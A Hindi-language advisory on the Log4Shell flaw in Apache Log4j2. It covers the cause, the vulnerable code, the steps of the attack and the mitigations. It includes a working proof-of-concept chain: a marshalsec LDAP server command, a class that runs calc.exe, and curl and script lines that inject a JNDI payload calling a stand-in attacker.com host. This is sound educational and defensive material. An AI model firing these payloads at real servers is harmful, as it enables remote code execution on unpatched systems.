
CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE
CVSS 10.0 क्रिटिकल | CWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन | CWE-917: एक्सप्रेशन लैंग्वेज इंजेक्शन के लिए अनुचित न्यूट्रलाइज़ेशन
Log4Shell (CVE-2021-44228) निस्संदेह 2020 के दशक की सबसे गंभीर भेद्यता है, जो Apache Log4j2 संस्करण 2.0 से 2.14.1 को प्रभावित करती है। नवंबर 2021 में Alibaba Cloud Security के Chen Zhaojun द्वारा खोजा गया और 9 दिसंबर, 2021 को सार्वजनिक रूप से प्रकट किया गया, यह दुनिया भर के लाखों सर्वरों पर अप्रमाणित रिमोट कोड निष्पादन की अनुमति देता है।
यह भेद्यता Log4j2 की JNDI (Java Naming and Directory Interface) लुकअप सुविधा से उत्पन्न होती है, जो लॉग संदेशों में ${jndi:ldap://attacker.com/a} जैसे मनमाने लुकअप स्ट्रिंग की अनुमति देती है। जब उपयोगकर्ता-नियंत्रित स्ट्रिंग जिसमें ऐसा पैटर्न होता है, लॉग किया जाता है, तो Log4j2 JNDI लुकअप करता है, जो रिमोट Java क्लासेस को लोड और निष्पादित कर सकता है।
Log4j2 ने "मैसेज लुकअप" नामक एक सुविधा शुरू की जो लॉग संदेशों में ${...} पैटर्न को विभिन्न स्रोतों (JNDI, पर्यावरण चर, सिस्टम गुण, आदि) से मानों से प्रतिस्थापित करती है। JndiLookup वर्ग (org.apache.logging.log4j.core.lookup.JndiLookup) उचित स्वच्छता के बिना आक्रमणकारी-नियंत्रित स्ट्रिंग पर InitialContext.lookup() को कॉल करता है।
// JndiLookup.java में संवेदनशील कोड
public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
}
try {
// सीधे आक्रमणकारी-नियंत्रित कुंजी को JNDI लुकअप में पास करता है
return JndiManager.getJndiManager().lookup(key);
} catch (...
lookup() विधि javax.naming.InitialContext.lookup() को सौंपती है, जो LDAP, RMI, DNS, या CORBA सर्वरों से रिमोट ऑब्जेक्ट लोड कर सकती है।
1. आक्रमणकारी पेलोड तैयार करता है: ${jndi:ldap://attacker.com/a}
2. पेलोड एप्लिकेशन संदर्भ में प्रवेश करता है (HTTP हेडर, उपयोगकर्ता इनपुट, आदि)
3. एप्लिकेशन पेलोड को लॉग करता है (जैसे, अनुरोध लॉगिंग के माध्यम से)
4. Log4j2 ${...} पैटर्न को संसाधित करता है और JndiLookup को कॉल करता है
5. JNDI लुकअप आक्रमणकारी-नियंत्रित LDAP सर्वर से क्वेरी करता है
6. LDAP सर्वर आक्रमणकारी के Java वर्ग की ओर इशारा करते हुए एक Reference के साथ प्रतिक्रिया करता है
7. Log4j2 / JVM रिमोट वर्ग को प्राप्त करता है और लोड करता है
8. आक्रमणकारी का वर्ग एप्लिकेशन के JVM में मनमाना कोड निष्पादित करता है
दुर्भावनापूर्ण LDAP सर्वर शुरू करने के लिए marshalsec का उपयोग करें:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
// Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java
python3 -m http.server 80 # Exploit.class सर्व करें
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'
या HTTP हेडर के माध्यम से:
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com
शामिल exploit.py प्रदान करता है:
| संस्करण | स्थिति |
|---|
| Log4j 2.0 – 2.14.1 | संवेदनशील |
| Log4j 2.15.0-rc1 | आंशिक सुधार (CVE-2021-45046 बाईपास) |
| Log4j 2.15.0 | सीमित सुधार (डिफ़ॉल्ट रूप से JNDI अक्षम, सीमित लुकअप) |
| Log4j 2.16.0 | JNDI अक्षम, मैसेज लुकअप हटाए गए |
| Log4j 2.17.0 | 2.x के लिए अंतिम सुधार (CVE-2021-44832) |
| Log4j 1.x | सीधे प्रभावित नहीं (अलग कोडबेस) |
| दृष्टिकोण | विवरण |
|---|
| Log4j अपग्रेड करें | 2.17.0+ (2.x) या 2.12.4+ (Java 7) में अपडेट करें |
| JVM फ्लैग | -Dlog4j2.formatMsgNoLookups=true |
| JndiLookup हटाएं | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
| WAF नियम | अनुरोधों में ${jndi: पैटर्न को ब्लॉक करें |
| नेटवर्क नियंत्रण | अविश्वसनीय सर्वरों पर आउटबाउंड LDAP/RMI को ब्लॉक करें |